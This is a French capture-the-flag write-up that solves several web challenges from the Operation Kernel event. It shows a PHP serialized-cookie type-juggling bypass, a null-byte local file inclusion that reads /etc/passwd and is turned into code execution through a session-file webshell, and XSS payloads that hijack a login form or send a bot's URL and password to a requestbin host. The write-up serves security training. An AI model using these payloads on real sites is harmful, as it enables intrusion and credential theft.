La vie est cruelle mais il y a toujours une solution. Vous vous rappelez de notre objet sérialisé ? Il y avait dans le tableau trois entrées : username, password et role. On n'a pas encore bidouillé le role. Le premier réflexe serait de tester les valeurs Admin, Administrator ou encore LaisseMoiFlagStp mais sans succès. Essayons de reprendre le code "supposé" de l'application et imaginer la partie liée au rôle de l'utilisateur :

<?php

$remember = unserialize(base64_decode($_COOKIE["remember"]));

$user_info = getUser($remember["username"]); // on récupére les informations concernant notre compte depuis une BDD, LDAP, peu importe...

if (strcmp($user_info["password"], $remember["password"]) == 0) {
  // mots de passe identiques

  if ($user_info["role"] == $remember["role"]) {
    // le rôle reçu a bien le même intitulé que celui attribué au compte
  }
  else {
    // role incorrect 
  }
}
else {
  // mot de passe incorrect
}

Il suffirait que le rôle de l'utilisateur Aku ait une valeur particulière (Chocolatineur par exemple) et il serait très difficile de la deviner. Et si on avait de nouveau affaire à une "loose comparaison" ? Cela signifierait que dans le cas de role, il faudrait comparer une chaine de caractère et le booléen true pour que le résultat soit vrai.

On regénère la payload depuis le début :

$> php -a
Interactive mode enabled

php > $remember = [];
php > $remember["username"] = "Aku"; // login de l'admin
php > $remember["password"] = []; // strcmp("password_hash", []) == 0 
php > $remember["role"] = true; // "secret_role" == true
php >
php > echo serialize($remember);
a:3:{s:8:"username";s:3:"Aku";s:8:"password";a:0:{}s:4:"role";b:1;}

On teste une dernière fois en actualisant la page :

Flag BadPractice

Flag : HACK{N3v3r_TrUsT_C0d3Ur_1nPuT}


CCoffee (Difficile / 400 points)

Vous avez réussi à analyser le cryptolocker, ce dernier nous dirige vers un site qui semble être un command and control.

Malheureusement nous ne trouvons pas de trace des fichiers uploadés. La fonctionnalité d'upload a dû être désactivée, mais les fichiers sont certainement encore présents sur le serveur.

Il doit y avoir un moyen de les retrouver en exploitant les fonctionnalités du site.

Lien : https://ccoffee.challenge.operation-kernel.fr/c2

CCoffee est uniquement accessible après avoir résolu le challenge Cryptolocker de type reverse. On y récupére d'ailleurs les identifiants bot / W0rk_1n_PR0GRs5, prérequis indispensable pour résoudre CCoffee.

Quand on arrive sur https://ccoffee.challenge.operation-kernel.fr/c2, on se connecte sur la partie C&C avec les identifiants trouvés précédemment.

Interface C&C CCoffee

Il n'y a pas grand chose à faire dans cette partie si ce n'est la possibilité de modifier son nom d'utilisateur.

Modifier login CCoffee

Jusqu'à présent, nous étions sur la partie C&C en étant dans le dossier /c2. Mais qu'y a-t-il à la racine du site ?

Site racine CCoffee

Le site vitrine d'un café parisien ! On se dit peut-être que c'est un site web légitime qui a été piraté et utilisé comme hébergement de la partie C&C du cryptolocker. En fouillant le site vitrine, on remarque deux choses intéressantes :

  • on a deux cookies : PHPSESSID (classique, session générée par PHP) et style (contient le nom du thème utilisé sur le site).
    PHPSESSID=sg5igg4chn1ljkhqf6v08c4gg0
    style=business-casual
  • la version PHP utilisée (date de 2010) est très vieille et divulguée grâce à l'entête serveur X-Powered-By: PHP/5.2.17

Meme What Year Is it ? CCoffee

En modifiant la valeur du cookie style, la taille de la réponse du serveur web est significativement différente. Si le cookie vaut business-casual, le contenu retourné a une taille de 9012 octets. Par contre quand il vaut chocolatine (un thème qui n'existe pas), on a que 4486 octets !

Burp style existant CCoffee

Burp style inexistant CCoffee

La différence dans les réponses entre ces deux requêtes se situe dans la balise <style>...</style> qui contient le style CSS du thème défini dans le cookie style. De plus le code HTML commenté suivant nous aide à comprendre comment le thème est chargé :

  <link href="css/business-casual_dark.min.css" rel="stylesheet">

On peut supposer que pour charger le style, l'application prend la valeur du cookie style et récupère le contenu du fichier css/<valeur_style>.css. On peut le confirmer immédiatement en mettant le cookie avec la valeur suivante : style=business-casual.min.

Le résultat : une version minifiée du style business-casual ! Ça sent bon la LFI !

Petit problème : l'extension .css est ajoutée à la fin du fichier à inclure, ce qui nous limite rapidement... Sauf que la version obsolète de PHP ici nous permet d'utiliser le nullbyte %00 pour écourter la chaine de caractère ! En mettant ../../etc/passwd%00 par exemple, on peut désormais charger le fichier en ignorant l'extension imposée par l'application.

Local File Inclusion CCoffee

Bon ok, on peut lire les fichiers qu'on souhaite sur le serveur web mais est-ce qu'on pourrait pas transformer la LFI en exécution de code (RCE) ?

Tout à fait, en utilisant la technique des fichiers de session PHP documentée ici.

Essayons d'inclure notre fichier de session et voir ce qu'il contient :

style=../../var/lib/php5/sess_sg5igg4chn1ljkhqf6v08c4gg0%00

LFI session PHP CCoffee

Dans notre fichier de session, on retrouve notre nom d'utilisateur qu'on a modifié au tout début du challenge ! Si on injecte du code PHP dans notre nom d'utilisateur, on devrait être capable d'exécuter du code arbitraire.

Payload nom d'utilisateur CCoffee

LFI 2 RCE CCoffee

En injectant notre mini webshell dans le nom d'utilisateur puis en incluant le fichier de session et en envoyant le paramètre GET /?0=ls -l, on peut exécuter des commandes système sur le serveur !

Il ne reste qu'à trouver le flag grâce à la commande grep 'HACK{' -R . :

Flag CCoffee

Flag : HACK{(NerverTrust)UserInput+LFI=RCE}


Onion Kitten Part 1 (Avancée / 300 points)

Nous avons découvert un forum assez suspect dans les mails précedemment découverts. Trouvez un moyen de vous connecter et de récupérer les identifiants d'un utilisateur pour découvrir ce qu'il se trame.

Un chat est disponible, il est potentiellement vulnérable.

Il n'est pas utile d'usurper la session de l'utilisateur, nous avons besoin de son mot de passe !

Lien : https://ia.challenge.operation-kernel.fr/

On arrive sur une application web traitant de sujets autour de l'intelligence artificielle.

Il y a 3 éléments principaux sur le site : un chat, des pages de discussion (inaccessibles sans authentification) et un formulaire de connexion.

Chat Onion Kitten Part 1

D'après le synopsis du challenge, l'objectif serait de récupérer les identifiants d'un autre utilisateur du site... Cela ressemble beaucoup à un vol d'identifiants via une XSS ! Dans le chat, on voit que les données envoyées ne sont pas filtrées et permettent d'injecter du code HTML, dont du JavaScript.

<script>alert("Ceci est une XSS")</script>

Le message suivant fera afficher une popup JavaScript à toute personne qui lit le chat.

Nous allons utiliser le site https://requestbin.com/ pour exfiltrer des données grâce à notre XSS. Cela va nous permettre de vérifier que notre XSS est executée par d'autres utilisateurs. Dans un premier temps, le code suivant va juste tenter de charger une image sur notre domaine temporaire :

<img src="https://<censored>.x.pipedream.net/hellothere">

Quelques secondes plus tard, on reçoit bien une requête. On voit d'ailleurs dans l'entête Referrer qu'il s'agit probablement d'un bot en local car il utilise l'URL http://web1/.

XSS vers Requestbin Onion Kitten Part 1

Comment réussir à voler des identifiants désormais ? En utilisant le formulaire de connexion !

On va forger une XSS qui modifiera la cible du formulaire d'authentification. Pour cela, on va demander au navigateur de charger l'image x (qui n'existe pas) et si elle n'est pas trouvée, d'exécuter le code JavaScript dans l'évènement onerror qui va mettre à jour le formulaire pour envoyer les identifiants vers notre domaine :

<img src=x onerror="document.getElementById('loginForm').action = 'https://<censored>.x.pipedream.net/stealcreds'">

En testant en local, on observe bien que le changement dans le DOM de mon navigateur avec cette payload :

Mise à jour formulaire via XSS Onion Kitten Part 1

Il ne reste plus qu'à espérer qu'un utilisateur s'authentifie sur le site web après avoir consulté le chat... Et c'est ce qui arrive peu de temps après !

Vol identifiants via XSS Onion Kitten Part 1

Flag : HACK{X5S_4_3V3r!!}


Onion Kitten Part 2 (Avancée / 300 points)

Le site met en relation tout un groupe de criminel, il pourrait être intéressant d'avoir un compte administrateur du forum afin d'obtenir plus d'informations.

Visiblement l'admin s'est rendu compte que des utilisateurs usurpaient son bot pour obtenir plus de permissions ! Il a décidé de désactiver l'execution du javascript par ce dernier.

Lien : https://ia.challenge.operation-kernel.fr

Maintenant qu'on peut se connecter sur le site https://ia.challenge.operation-kernel.fr/, on a accès aux différentes discussions.

D'ailleurs, sur la discussion De la science-fiction pour piquer notre pognon, l'administrateur partage un lien vers un autre site : https://deathtoia.challenge.operation-kernel.fr/.

Lien vers deathtoia Onion Kitten Part 2

Sur ce nouveau site, on peut soumettre un article qui pourrait être publié ultérieurement après vérification.

Formulaire soumettre article Onion Kitten Part 2

Après quelques tests, on remarque que le formulaire ne filtre pas les entrées utilisateurs et est également faillible aux XSS. En mettant la payload suivante dans le champ titre, on peut récupérer l'URL du bot au moment de se faire piéger par notre XSS :

<img src="x" onerror="this.onerror=null;this.src='https://<censored>.x.pipedream.net/'+document.location.href;">

On reçoit dans la foulée le résultat sur notre domaine temporaire de requestsbin.com.

URL Bot Onion Kitten Part 2

L'URI /articles?botpwd=3v6y5FVediVKpyaL9mKnZkVWCeEw&uid=62cc111d1c87f&isLogged=true semble contenir les identifiants qui permettent au bot de se connecter sur le site.

Est-ce qu'on peut réutiliser cette information directement dans notre navigateur ?

Flag part 2 onion kitten 2

On a désormais accès à la partie administration du site ! Lorsqu'on clique sur ce lien, il semblerait que seule la deuxième moitié du flag soit accessible. Où est-ce que pourrait être la première moitié ?

Sur l'autre site : https://ia.challenge.operation-kernel.fr/?botpwd=3v6y5FVediVKpyaL9mKnZkVWCeEw&uid=62cc111d1c87f&isLogged=true

Flag part 1 onion kitten 2

On colle les deux morceaux et on se retrouve avec le flag final.

Flag : HACK{X5S_+_C5Rf_Pwn_Th3m_4lL}

Note non technique

Ce challenge a également fait l'objet d'un gros travail artistique sur le texte avec un bel humour ! Cela change des Lorem Ipsum qu'on voit très souvent dans les CTFs. Aux scénaristes de ce challenge, sachez que j'ai tout lu (ou plutôt dévoré) !

Mentions spéciales pour le nom d'utilisateur "Anna-Lyse" ou encore la discussion "Go Save Hawking".


Le mot de la fin

Je pense que nous avons été nombreux à vraiment apprécier l'évènement. À toutes les personnes derrière cette organisation, merci pour ce travail de qualité ! Et si le Commandement des Opérations Spéciales réitère l'expérience l'année prochaine, vous pouvez compter sur moi.

Chez AlgoSecure, nous participons souvent aux CTFs (les derniers en date étaient le HeroCTF et LeHack). Mais saurez-vous nous retrouver dans les classements sous notre identité cachée ?

Bonne fête nationale du 14 juillet et rendez-vous au prochain CTF !

Vous avez activé l'option "Do Not Track" dans votre navigateur, nous respectons ce choix et ne suivons pas votre visite.